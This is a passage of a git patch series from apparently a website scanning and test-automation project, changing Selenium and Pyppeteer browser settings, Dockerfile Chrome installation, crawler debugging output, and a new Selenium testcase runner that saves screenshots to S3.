@@ -44,7 +44,7 @@ def driver_init(
     options.add_argument(f"--force-device-scale-factor={str(scale_factor)}")
     options.add_argument("--window-size=%s" % window_size) 
     options.set_capability("goog:loggingPrefs", {'performance': 'ALL'})
-    options.page_load_strategy = 'eager'
+    options.page_load_strategy = 'none'
 
     if device == 'mobile':
         options.add_experimental_option("mobileEmulation", mobile_emulation)

From ebd5b2008dee7a3ada943575248df48fa17924ad Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 15 Mar 2024 12:28:03 -0600
Subject: [PATCH 389/752] testing

---
 Dockerfile                | 32 ++++++++++++++++----------------
 app/api/utils/driver_s.py |  2 +-
 2 files changed, 17 insertions(+), 17 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index 4b81db14..02e04305 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -64,19 +64,19 @@ RUN chmod +x /usr/bin/chromedriver
 
 
 
-# installing google-chrome-stable 
-RUN apt-get install -y gnupg wget curl unzip --no-install-recommends; \
-    wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | \
-    gpg --no-default-keyring --keyring gnupg-ring:/etc/apt/trusted.gpg.d/google.gpg --import; \
-    chmod 644 /etc/apt/trusted.gpg.d/google.gpg; \
-    echo "deb https://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google.list; \
-    apt-get update -y; \
-    apt-get install -y google-chrome-stable;
-
-# installing chromedriver
-RUN CHROMEDRIVER_VERSION=$(curl https://googlechromelabs.github.io/chrome-for-testing/LATEST_RELEASE_STABLE); \
-    wget -N https://storage.googleapis.com/chrome-for-testing-public/$CHROMEDRIVER_VERSION/linux64/chromedriver-linux64.zip -P ~/ && \
-    unzip ~/chromedriver-linux64.zip -d ~/ && \
-    rm ~/chromedriver-linux64.zip && \
-    mv -f ~/chromedriver-linux64/chromedriver /usr/bin/chromedriver && \
-    rm -rf ~/chromedriver-linux64
\ No newline at end of file
+# # installing google-chrome-stable 
+# RUN apt-get install -y gnupg wget curl unzip --no-install-recommends; \
+#     wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | \
+#     gpg --no-default-keyring --keyring gnupg-ring:/etc/apt/trusted.gpg.d/google.gpg --import; \
+#     chmod 644 /etc/apt/trusted.gpg.d/google.gpg; \
+#     echo "deb https://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google.list; \
+#     apt-get update -y; \
+#     apt-get install -y google-chrome-stable;
+
+# # installing chromedriver
+# RUN CHROMEDRIVER_VERSION=$(curl https://googlechromelabs.github.io/chrome-for-testing/LATEST_RELEASE_STABLE); \
+#     wget -N https://storage.googleapis.com/chrome-for-testing-public/$CHROMEDRIVER_VERSION/linux64/chromedriver-linux64.zip -P ~/ && \
+#     unzip ~/chromedriver-linux64.zip -d ~/ && \
+#     rm ~/chromedriver-linux64.zip && \
+#     mv -f ~/chromedriver-linux64/chromedriver /usr/bin/chromedriver && \
+#     rm -rf ~/chromedriver-linux64
\ No newline at end of file
diff --git a/app/api/utils/driver_s.py b/app/api/utils/driver_s.py
index 080cd445..cb587d08 100644
--- a/app/api/utils/driver_s.py
+++ b/app/api/utils/driver_s.py
@@ -33,7 +33,7 @@ def driver_init(
 
     chromedriver_path = os.environ.get("CHROMEDRIVER")
     options = webdriver.ChromeOptions()
-    options.binary_location = os.environ.get('GOOGLECHROME')
+    options.binary_location = os.environ.get('CHROMIUM')
     options.add_argument("--no-sandbox")
     options.add_argument("disable-blink-features=AutomationControlled")
     options.add_experimental_option('prefs',prefs)

From 0a9c89c282f271bf52ce79f5bc7ee95b8a644c92 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 15 Mar 2024 13:03:05 -0600
Subject: [PATCH 390/752] forced typing

---
 app/api/utils/driver_p.py |  4 ++--
 app/api/utils/driver_s.py | 19 ++++++++++---------
 app/api/utils/scanner.py  |  2 +-
 3 files changed, 13 insertions(+), 12 deletions(-)

diff --git a/app/api/utils/driver_p.py b/app/api/utils/driver_p.py
index a7192637..baba86a7 100644
--- a/app/api/utils/driver_p.py
+++ b/app/api/utils/driver_p.py
@@ -13,7 +13,7 @@ async def driver_init(
     sizes = window_size.split(',')
 
     options = {
-        'executablePath': os.environ.get('GOOGLECHROME'),
+        'executablePath': os.environ.get('CHROMIUM'),
         'args': [
             '--no-sandbox', 
             '--disable-dev-shm-usage',
@@ -65,7 +65,7 @@ async def wait_for_page(page, max_wait_time=30):
     timeout = 0
     page_state = 'loading'
 
-    while timeout < max_wait_time and page_state != 'complete':
+    while int(timeout) < int(max_wait_time) and page_state != 'complete':
         page_state = await page.evaluate('document.readyState')
         print(f'document state is {page_state}')
         time.sleep(1)
diff --git a/app/api/utils/driver_s.py b/app/api/utils/driver_s.py
index cb587d08..ac4f385f 100644
--- a/app/api/utils/driver_s.py
+++ b/app/api/utils/driver_s.py
@@ -8,8 +8,8 @@
 def driver_init(
         window_size='1920,1080', 
         device='desktop',
-        script_timeout=300,
-        load_timeout=300,
+        script_timeout=30,
+        load_timeout=30,
         wait_time=15, 
         pixel_ratio=1.0,
         scale_factor=0.5
@@ -31,7 +31,7 @@ def driver_init(
         ) 
     }
 
-    chromedriver_path = os.environ.get("CHROMEDRIVER")
+    # chromedriver_path = os.environ.get("CHROMEDRIVER")
     options = webdriver.ChromeOptions()
     options.binary_location = os.environ.get('CHROMIUM')
     options.add_argument("--no-sandbox")
@@ -41,6 +41,7 @@ def driver_init(
     options.add_argument("--headless")
     options.add_argument("--disable-dev-shm-usage")
     options.add_argument("ignore-certificate-errors")
+    chrome_options.add_argument('--hide-scrollbars')
     options.add_argument(f"--force-device-scale-factor={str(scale_factor)}")
     options.add_argument("--window-size=%s" % window_size) 
     options.set_capability("goog:loggingPrefs", {'performance': 'ALL'})
@@ -49,10 +50,10 @@ def driver_init(
     if device == 'mobile':
         options.add_experimental_option("mobileEmulation", mobile_emulation)
 
-    service = webdriver.ChromeService(executable_path=chromedriver_path)
-    driver = webdriver.Chrome(options=options, service=service)
-    driver.set_page_load_timeout(load_timeout)
-    driver.set_script_timeout(script_timeout)
+    # service = webdriver.ChromeService(executable_path=chromedriver_path)
+    driver = webdriver.Chrome(options=options)
+    # driver.set_page_load_timeout(load_timeout)
+    # driver.set_script_timeout(script_timeout)
     # driver.implicitly_wait(wait_time)
 
     
@@ -133,7 +134,7 @@ def interact_with_page(driver):
     interact_with_page(driver)
     time.sleep(min_wait_time)
 
-    while wait_time < max_wait_time and page_state != 'complete':
+    while int(wait_time) < int(max_wait_time) and page_state != 'complete':
         # get first set of logs
         # list_one = get_request_list(driver=driver)
         
@@ -173,7 +174,7 @@ def get_data(driver, max_wait_time):
     html = None
     logs = None
 
-    while timeout < max_wait_time and page_state != 'complete':
+    while int(timeout) < int(max_wait_time) and page_state != 'complete':
         page_state = driver.execute_script('return document.readyState')
         print(f'document state is {page_state}')
         time.sleep(1)
diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py
index df40232b..a8c7ede9 100644
--- a/app/api/utils/scanner.py
+++ b/app/api/utils/scanner.py
@@ -462,7 +462,7 @@ def _html_and_logs(scan_id, test_id, automation_id):
             driver.get(scan.page.page_url)
             s_driver_data = get_s_driver_data(
                 driver=driver, 
-                max_wait_time=scan.configs['max_wait_time']
+                max_wait_time=int(scan.configs['max_wait_time'])
             )
             if 'html' in scan.type or 'full' in scan.type:
                 html = s_driver_data['html']

From 2568b06757323d7271d88c3450fc9e5a103f9247 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 15 Mar 2024 13:03:35 -0600
Subject: [PATCH 391/752] removed google-chrome

---
 Dockerfile | 19 -------------------
 1 file changed, 19 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index 02e04305..32cf3c07 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -61,22 +61,3 @@ RUN chown -R app:app /app
 RUN chown -R app:app /usr/bin/chromium
 RUN chown -R app:app /usr/bin/chromedriver
 RUN chmod +x /usr/bin/chromedriver
-
-
-
-# # installing google-chrome-stable 
-# RUN apt-get install -y gnupg wget curl unzip --no-install-recommends; \
-#     wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | \
-#     gpg --no-default-keyring --keyring gnupg-ring:/etc/apt/trusted.gpg.d/google.gpg --import; \
-#     chmod 644 /etc/apt/trusted.gpg.d/google.gpg; \
-#     echo "deb https://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google.list; \
-#     apt-get update -y; \
-#     apt-get install -y google-chrome-stable;
-
-# # installing chromedriver
-# RUN CHROMEDRIVER_VERSION=$(curl https://googlechromelabs.github.io/chrome-for-testing/LATEST_RELEASE_STABLE); \
-#     wget -N https://storage.googleapis.com/chrome-for-testing-public/$CHROMEDRIVER_VERSION/linux64/chromedriver-linux64.zip -P ~/ && \
-#     unzip ~/chromedriver-linux64.zip -d ~/ && \
-#     rm ~/chromedriver-linux64.zip && \
-#     mv -f ~/chromedriver-linux64/chromedriver /usr/bin/chromedriver && \
-#     rm -rf ~/chromedriver-linux64
\ No newline at end of file

From e4ccfdf3e0f625a9fb37bdabc79248d08bd50bcf Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 15 Mar 2024 13:03:47 -0600
Subject: [PATCH 392/752] removed js method

---
 app/api/utils/puppeteer.mjs | 35 -----------------------------------
 1 file changed, 35 deletions(-)
 delete mode 100644 app/api/utils/puppeteer.mjs

diff --git a/app/api/utils/puppeteer.mjs b/app/api/utils/puppeteer.mjs
deleted file mode 100644
index 5802ceb4..00000000
--- a/app/api/utils/puppeteer.mjs
+++ /dev/null
@@ -1,35 +0,0 @@
-import puppeteer from '/usr/local/bin/puppeteer';
-
-(async () => {
-  // Launch the browser and open a new blank page
-  const browser = await puppeteer.launch();
-  const page = await browser.newPage();
-
-  // Navigate the page to a URL
-  await page.goto('https://developer.chrome.com/');
-
-  // Set screen size
-  await page.setViewport({width: 1080, height: 1024});
-
-  // Type into search box
-  await page.type('.devsite-search-field', 'automate beyond recorder');
-
-  // Wait and click on first result
-  const searchResultSelector = '.devsite-result-item-link';
-  await page.waitForSelector(searchResultSelector);
-  await page.click(searchResultSelector);
-
-  // Locate the full title with a unique string
-  const textSelector = await page.waitForSelector(
-    'text/Customize and automate'
-  );
-  const fullTitle = await textSelector?.evaluate(el => el.textContent);
-
-  // Print the full title
-  console.log('The title of this blog post is "%s".', fullTitle);
-
-  await browser.close();
-
-  return fullTitle
-  
-})();
\ No newline at end of file

From 3bb0b9420115f1f01fa0d8038e5a4e720b000514 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 15 Mar 2024 13:11:00 -0600
Subject: [PATCH 393/752] fixed chrome.options

---
 app/api/utils/driver_s.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/driver_s.py b/app/api/utils/driver_s.py
index ac4f385f..256963f4 100644
--- a/app/api/utils/driver_s.py
+++ b/app/api/utils/driver_s.py
@@ -41,7 +41,7 @@ def driver_init(
     options.add_argument("--headless")
     options.add_argument("--disable-dev-shm-usage")
     options.add_argument("ignore-certificate-errors")
-    chrome_options.add_argument('--hide-scrollbars')
+    options.add_argument('--hide-scrollbars')
     options.add_argument(f"--force-device-scale-factor={str(scale_factor)}")
     options.add_argument("--window-size=%s" % window_size) 
     options.set_capability("goog:loggingPrefs", {'performance': 'ALL'})

From 7c37af39a2293573f636be2f2937ece490711dc1 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 15 Mar 2024 13:14:46 -0600
Subject: [PATCH 394/752] removed users from celery

---
 docker-compose.dev.yml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index 029e3764..0cf5c7c8 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -53,7 +53,7 @@ services:
       context: .
       dockerfile: Dockerfile
     command: >
-      sh -c "celery -A scanerr worker --beat --scheduler django --loglevel=info --uid=app --gid=app"
+      sh -c "celery -A scanerr worker --beat --scheduler django --loglevel=info"
     volumes:
       - ./app:/scanerr
     env_file:

From c0a42f98c60af30a22635ab9689627cbebaab830 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 15 Mar 2024 14:07:42 -0600
Subject: [PATCH 395/752] added height logging

---
 app/api/utils/image.py | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/app/api/utils/image.py b/app/api/utils/image.py
index 789b9690..341a7a5c 100644
--- a/app/api/utils/image.py
+++ b/app/api/utils/image.py
@@ -240,6 +240,9 @@ def scan_s(self, driver=None):
             # get current position and compare to previous
             new_height = driver.execute_script("return window.pageYOffset + document.documentElement.clientHeight")
             height_diff = new_height - last_height
+
+            print(f'new_height => {new_height} | height_diff => {height_diff}')
+
             if height_diff > 20:
                 last_height = new_height
                 pic_id = uuid.uuid4()

From 241d1834eb9657d955f60ed08210309f9421fb10 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 15 Mar 2024 14:35:56 -0600
Subject: [PATCH 396/752] added new args to puppeteer Chrome() init

---
 app/api/utils/driver_p.py | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/app/api/utils/driver_p.py b/app/api/utils/driver_p.py
index baba86a7..fb59f5f0 100644
--- a/app/api/utils/driver_p.py
+++ b/app/api/utils/driver_p.py
@@ -18,7 +18,10 @@ async def driver_init(
             '--no-sandbox', 
             '--disable-dev-shm-usage',
             '--force-device-scale-factor=0.5',
-            'ignore-certificate-errors'
+            'ignore-certificate-errors',
+            '--hide-scrollbars',
+            'start-maximized'
+            'disable-blink-features=AutomationControlled'
             f'--window-size={window_size}',
         ],
         'defaultViewport': {

From a2993f33f21fbbce234c984eaee432cda8526067 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Mon, 18 Mar 2024 13:44:58 -0600
Subject: [PATCH 397/752] forced int() type on 'timeout' param

---
 app/api/utils/image.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/image.py b/app/api/utils/image.py
index 341a7a5c..6b693f90 100644
--- a/app/api/utils/image.py
+++ b/app/api/utils/image.py
@@ -93,7 +93,7 @@ def check_timeout(self, timeout, start_time):
         """
         current = datetime.now()
         diff = current - start_time
-        if diff.total_seconds() >= timeout:
+        if diff.total_seconds() >= int(timeout):
             print('exceeded timeout')
             return True
         else:

From 6a92062cf6270e58a6944c7edb13a1a4f11998db Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Mon, 18 Mar 2024 20:13:16 -0600
Subject: [PATCH 398/752] removed some chrome args

---
 app/api/utils/driver_p.py | 2 --
 1 file changed, 2 deletions(-)

diff --git a/app/api/utils/driver_p.py b/app/api/utils/driver_p.py
index fb59f5f0..1ac43027 100644
--- a/app/api/utils/driver_p.py
+++ b/app/api/utils/driver_p.py
@@ -20,8 +20,6 @@ async def driver_init(
             '--force-device-scale-factor=0.5',
             'ignore-certificate-errors',
             '--hide-scrollbars',
-            'start-maximized'
-            'disable-blink-features=AutomationControlled'
             f'--window-size={window_size}',
         ],
         'defaultViewport': {

From d7d54d11e118aba6d276ca9a8d40a40b482ffdd2 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 19 Mar 2024 12:43:44 -0600
Subject: [PATCH 399/752] testing

---
 app/api/tasks.py | 1 +
 1 file changed, 1 insertion(+)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index 7aedf80d..3a5c0557 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -52,6 +52,7 @@ def create_site_and_pages_bg(self, site_id=None, configs=None, *args, **kwargs):
     site.time_crawl_completed = None
     site.save()
     # crawl site 
+    print(f'crawling a max of {str(site.account.max_pages)} pages')
     pages = Crawler(url=site.site_url, max_urls=site.account.max_pages).get_links()
     for url in pages:
         # add new page

From 59768c34e8e5bd192ec3d01cdb64a445e98b042d Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 19 Mar 2024 12:54:33 -0600
Subject: [PATCH 400/752] debugging

---
 app/api/utils/crawler.py | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/app/api/utils/crawler.py b/app/api/utils/crawler.py
index 18a09851..316e8772 100644
--- a/app/api/utils/crawler.py
+++ b/app/api/utils/crawler.py
@@ -51,6 +51,7 @@ def add_urls(start_url):
             soup = BeautifulSoup(self.driver.page_source, 'html.parser')
             for link in soup.find_all('a'):
                 url = link.get('href')
+                print(f'found this link -> {url}')
                 if url is not None:
                     if url_is_valid(url):
                         if url.startswith('/'):
@@ -68,6 +69,7 @@ def add_urls(start_url):
         add_urls(self.url)
 
         # iterate through layers
+        print(f'follow_urls > {str(len(follow_urls))} | crawled_urls > {str(len(crawled_urls))} | max_urls > {str(self.max_urls)}')
         while (len(follow_urls) > len(crawled_urls)) and (len(crawled_urls) < self.max_urls):
             for url in follow_urls:
                 if not url in crawled_urls:

From 893ae0e311417514500b5912e50184afa8f72dab Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 19 Mar 2024 13:06:39 -0600
Subject: [PATCH 401/752] testing

---
 app/api/utils/crawler.py | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/app/api/utils/crawler.py b/app/api/utils/crawler.py
index 316e8772..26bc7798 100644
--- a/app/api/utils/crawler.py
+++ b/app/api/utils/crawler.py
@@ -49,6 +49,8 @@ def url_is_valid(url):
         def add_urls(start_url):
             self.driver.get(start_url)
             soup = BeautifulSoup(self.driver.page_source, 'html.parser')
+            print(soup)
+            print(soup.find_all('a'))
             for link in soup.find_all('a'):
                 url = link.get('href')
                 print(f'found this link -> {url}')
@@ -69,8 +71,8 @@ def add_urls(start_url):
         add_urls(self.url)
 
         # iterate through layers
-        print(f'follow_urls > {str(len(follow_urls))} | crawled_urls > {str(len(crawled_urls))} | max_urls > {str(self.max_urls)}')
         while (len(follow_urls) > len(crawled_urls)) and (len(crawled_urls) < self.max_urls):
+            print(f'follow_urls > {str(len(follow_urls))} | crawled_urls > {str(len(crawled_urls))} | max_urls > {str(self.max_urls)}')
             for url in follow_urls:
                 if not url in crawled_urls:
                     crawled_urls.append(url)

From ce0ca3403a1678b6e541ed2b6bffdc368cb782eb Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 19 Mar 2024 13:09:28 -0600
Subject: [PATCH 402/752] testing

---
 app/api/utils/crawler.py | 1 +
 1 file changed, 1 insertion(+)

diff --git a/app/api/utils/crawler.py b/app/api/utils/crawler.py
index 26bc7798..fdad3abd 100644
--- a/app/api/utils/crawler.py
+++ b/app/api/utils/crawler.py
@@ -49,6 +49,7 @@ def url_is_valid(url):
         def add_urls(start_url):
             self.driver.get(start_url)
             soup = BeautifulSoup(self.driver.page_source, 'html.parser')
+            print(self.driver.page_source)
             print(soup)
             print(soup.find_all('a'))
             for link in soup.find_all('a'):

From 09e92842d87857ff7118a32d822344afa3fa5126 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 19 Mar 2024 13:12:24 -0600
Subject: [PATCH 403/752] added driver wait

---
 app/api/utils/crawler.py | 10 +++++++++-
 1 file changed, 9 insertions(+), 1 deletion(-)

diff --git a/app/api/utils/crawler.py b/app/api/utils/crawler.py
index fdad3abd..e3f7eb05 100644
--- a/app/api/utils/crawler.py
+++ b/app/api/utils/crawler.py
@@ -1,6 +1,6 @@
 import requests
 from bs4 import BeautifulSoup
-from .driver_s import driver_init, quit_driver
+from .driver_s import *
 
 
 
@@ -48,6 +48,14 @@ def url_is_valid(url):
         
         def add_urls(start_url):
             self.driver.get(start_url)
+
+            # adding wait for crawler
+            driver_wait(
+                driver=self.driver,
+                max_wait_time=20, 
+                interval=2
+            )
+
             soup = BeautifulSoup(self.driver.page_source, 'html.parser')
             print(self.driver.page_source)
             print(soup)

From 68ee8b0c1c495e0e69aa107f59baa4db76137ed1 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 19 Mar 2024 13:16:09 -0600
Subject: [PATCH 404/752] fixed crawler issues

---
 app/api/tasks.py         | 1 -
 app/api/utils/crawler.py | 7 +------
 2 files changed, 1 insertion(+), 7 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index 3a5c0557..7aedf80d 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -52,7 +52,6 @@ def create_site_and_pages_bg(self, site_id=None, configs=None, *args, **kwargs):
     site.time_crawl_completed = None
     site.save()
     # crawl site 
-    print(f'crawling a max of {str(site.account.max_pages)} pages')
     pages = Crawler(url=site.site_url, max_urls=site.account.max_pages).get_links()
     for url in pages:
         # add new page
diff --git a/app/api/utils/crawler.py b/app/api/utils/crawler.py
index e3f7eb05..89eb1ed5 100644
--- a/app/api/utils/crawler.py
+++ b/app/api/utils/crawler.py
@@ -49,7 +49,7 @@ def url_is_valid(url):
         def add_urls(start_url):
             self.driver.get(start_url)
 
-            # adding wait for crawler
+            # wait for page to load
             driver_wait(
                 driver=self.driver,
                 max_wait_time=20, 
@@ -57,12 +57,8 @@ def add_urls(start_url):
             )
 
             soup = BeautifulSoup(self.driver.page_source, 'html.parser')
-            print(self.driver.page_source)
-            print(soup)
-            print(soup.find_all('a'))
             for link in soup.find_all('a'):
                 url = link.get('href')
-                print(f'found this link -> {url}')
                 if url is not None:
                     if url_is_valid(url):
                         if url.startswith('/'):
@@ -81,7 +77,6 @@ def add_urls(start_url):
 
         # iterate through layers
         while (len(follow_urls) > len(crawled_urls)) and (len(crawled_urls) < self.max_urls):
-            print(f'follow_urls > {str(len(follow_urls))} | crawled_urls > {str(len(crawled_urls))} | max_urls > {str(self.max_urls)}')
             for url in follow_urls:
                 if not url in crawled_urls:
                     crawled_urls.append(url)

From df51d7e5bc0bfce4347036a4ee81326012ead0ad Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 20 Mar 2024 10:39:57 -0600
Subject: [PATCH 405/752] trying to update selenium

---
 requirements.txt | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/requirements.txt b/requirements.txt
index b715ae20..929183ba 100644
--- a/requirements.txt
+++ b/requirements.txt
@@ -39,7 +39,7 @@ requests==2.25.1
 reportlab==3.6.6
 scikit-image==0.21.0
 scipy==1.8.0
-selenium==4.11.2
+selenium==4.18.1
 sendgrid==6.9.7
 six==1.16.0
 slack-sdk==3.11.2

From f7f1713689a3eb26c32b33857473cacede60e7ef Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 20 Mar 2024 11:53:34 -0600
Subject: [PATCH 406/752] testing selenium

---
 app/api/utils/caser.py  | 399 +++++++++++++++++++++++++++++++++++++++-
 app/api/v1/ops/tasks.py |   7 +-
 2 files changed, 399 insertions(+), 7 deletions(-)

diff --git a/app/api/utils/caser.py b/app/api/utils/caser.py
index 271dac9f..8cb329ed 100644
--- a/app/api/utils/caser.py
+++ b/app/api/utils/caser.py
@@ -1,5 +1,9 @@
-from .driver_p import driver_init
+from .driver_p import driver_init as driver_p_init
+from .driver_s import driver_init as driver_s_init
+from .driver_s import driver_wait, quit_driver
 import time, asyncio, uuid, json, boto3, os
+from selenium.webdriver.common.by import By
+from selenium.webdriver.common.keys import Keys
 from ..models import * 
 from datetime import datetime
 from asgiref.sync import sync_to_async
@@ -49,12 +53,44 @@ def update_testcase(
         self.testcase.save()
         return
 
+    def update_testcase_s(
+            self, index=None, type=None, start_time=None, end_time=None, 
+            passed=None, exception=None, time_completed=None, image=None,
+        ):
+        if start_time != None:
+            self.testcase.steps[index][type]['time_created'] = str(start_time)
+        if end_time != None:
+            self.testcase.steps[index][type]['time_completed'] = str(end_time)
+        if passed != None:
+            self.testcase.steps[index][type]['passed'] = passed
+        if exception != None:
+            self.testcase.steps[index][type]['exception'] = str(exception)
+        if image != None:
+            self.testcase.steps[index][type]['image'] = str(image)
+        if time_completed != None:
+            self.testcase.time_completed = time_completed
+            test_status = True
+            for step in self.testcase.steps:
+                if step['action']['passed'] == False:
+                    test_status = False
+                if step['assertion']['passed'] == False:
+                    test_status = False
+            self.testcase.passed = test_status
+        
+        self.testcase.save()
+        return
+
     @sync_to_async
     def format_element(self, element):
         elememt = json.dumps(element).rstrip('"').lstrip('"')
         return str(element)
 
 
+    def format_element_s(self, element):
+        elememt = json.dumps(element).rstrip('"').lstrip('"')
+        return str(element)
+
+
 
     
     async def save_screenshot(self, page):
@@ -97,13 +133,326 @@ async def save_screenshot(self, page):
         # returning image url
         return  image_url
 
+
     
+    def save_screenshot_s(self, page):
+        '''
+        Grabs & uploads a screenshot of the `page` 
+        passed in the params. 
+
+        Returns -> `image_url` <str:remote path to image>
+        
+        '''
+
+        # setup boto3 configurations
+        s3 = boto3.client(
+            's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
+            aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
+            region_name=str(settings.AWS_S3_REGION_NAME), 
+            endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
+        )
+
+        # setting id for image
+        pic_id = uuid.uuid4()
+        
+        # get screenshot
+        self.driver.save_screenshot({'path': f'{pic_id}.png'})
+
+        # seting up paths
+        image = os.path.join(settings.BASE_DIR, f'{pic_id}.png')
+        remote_path = f'static/testcases/{self.testcase.id}/{pic_id}.png'
+        root_path = settings.AWS_S3_URL_PATH
+        image_url = f'{root_path}/{remote_path}'
     
+        # upload to s3
+        with open(image, 'rb') as data:
+            s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
+                remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "image/png"}
+            )
+        # remove local copy
+        os.remove(image)
+
+        # returning image url
+        return  image_url
+
     
-    async def run(self):
 
+    def run_s(self):
+        print(f'beginning testcase for {self.site_url}  \
+            using case {self.case_name}')
+        
+        # initate driver
+        self.driver = driver_s_init(
+            window_size=self.configs['window_size'], 
+            device=self.configs['device']
+        )
+
+        i = 0
+        for step in self.steps:
+            print(f'-- running step #{i+1} --')
+        
+            # adding catch if nav is not first
+            if i == 0 and step['action']['type'] != 'navigate':
+                print(f'navigating to {self.site_url} before first step')
+                # using selenium, navigate to site root path & wait for page to load
+                self.driver.get(f'{self.site_url}')
+                time.sleep(int(self.configs['min_wait_time']))
+
+            
+            if step['action']['type'] == 'navigate':
+                exception = None
+                passed = True
+                self.update_testcase_s(
+                    index=i, type='action', 
+                    start_time=datetime.now()
+                )
+
+                try:
+                    print(f'navigating to {self.site_url}{step["action"]["path"]}')
+                    # using selenium, navigate to requested path & wait for page to load
+                    driver_wait(
+                        driver=driver, 
+                        interval=int(self.configs.get('interval', 5)),  
+                        min_wait_time=int(self.configs.get('min_wait_time', 10)),
+                        max_wait_time=int(self.configs.get('max_wait_time', 30)),
+                    )
+                    self.driver.get(f'{self.site_url}{step["action"]["path"]}', self.page_options)
+                    time.sleep(int(self.configs['min_wait_time']))
+                    image = self.save_screenshot_s()
+
+                except Exception as e:
+                    image = self.save_screenshot_s()
+                    exception = e
+                    passed = False
+
+                
+                self.update_testcase_s(
+                    index=i, type='action', 
+                    end_time=datetime.now(), 
+                    passed=passed, 
+                    exception=exception,
+                    image=image
+                )
+            
+
+
+            if step['action']['type'] == 'click':
+                exception = None
+                passed = True
+                self.update_testcase_s(
+                    index=i, type='action', 
+                    start_time=datetime.now()
+                )
+
+                try:
+                    print(f'clicking element -> {step["action"]["element"]}')
+                    # using selenium, find and click on the 'element' 
+                    selector = self.format_element_s(step["action"]["element"])
+                    driver_wait(
+                        driver=driver, 
+                        interval=int(self.configs.get('interval', 5)),  
+                        min_wait_time=int(self.configs.get('min_wait_time', 10)),
+                        max_wait_time=int(self.configs.get('max_wait_time', 30)),
+                    )                
+                    # scrolling to element using plain JavaScript
+                    self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()')
+                    element = find_element(By.CSS_SELECTOR, selector)
+                    element.click()
+                    time.sleep(int(self.configs['min_wait_time']))
+                    image = self.save_screenshot_s()
+                
+                except Exception as e:
+                    image = self.save_screenshot_s()
+                    exception = e
+                    passed = False
 
-        print(f'beginging testcase for {self.site_url}  \
+                self.update_testcase_s(
+                    index=i, type='action', 
+                    end_time=datetime.now(), 
+                    passed=passed, 
+                    exception=exception,
+                    image=image
+                )
+        
+
+
+            if step['action']['type'] == 'change':
+                exception = None
+                passed = True
+                self.update_testcase_s(
+                    index=i, type='action', 
+                    start_time=datetime.now()
+                )
+                
+                try:
+                    print(f'changing element to value -> {step["action"]["value"]}') 
+                    # using puppeteer, find and click on the 'element'
+                    selector = self.format_element_s(step["action"]["element"])
+                    driver_wait(
+                        driver=driver, 
+                        interval=int(self.configs.get('interval', 5)),  
+                        min_wait_time=int(self.configs.get('min_wait_time', 10)),
+                        max_wait_time=int(self.configs.get('max_wait_time', 30)),
+                    )                
+                    # scrolling to element using plain JavaScript
+                    self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()')
+                    # changing value of element
+                    self.driver.execute_script(f'document.querySelector("{selector}").setAttribute("value", {step["action"]["value"]})')
+                    time.sleep(int(self.configs['min_wait_time']))
+                    image = self.save_screenshot_s()
+                
+                except Exception as e:
+                    image = self.save_screenshot_s()
+                    exception = e
+                    passed = False
+
+                self.update_testcase_s(
+                    index=i, type='action', 
+                    end_time=datetime.now(), 
+                    passed=passed, 
+                    exception=exception,
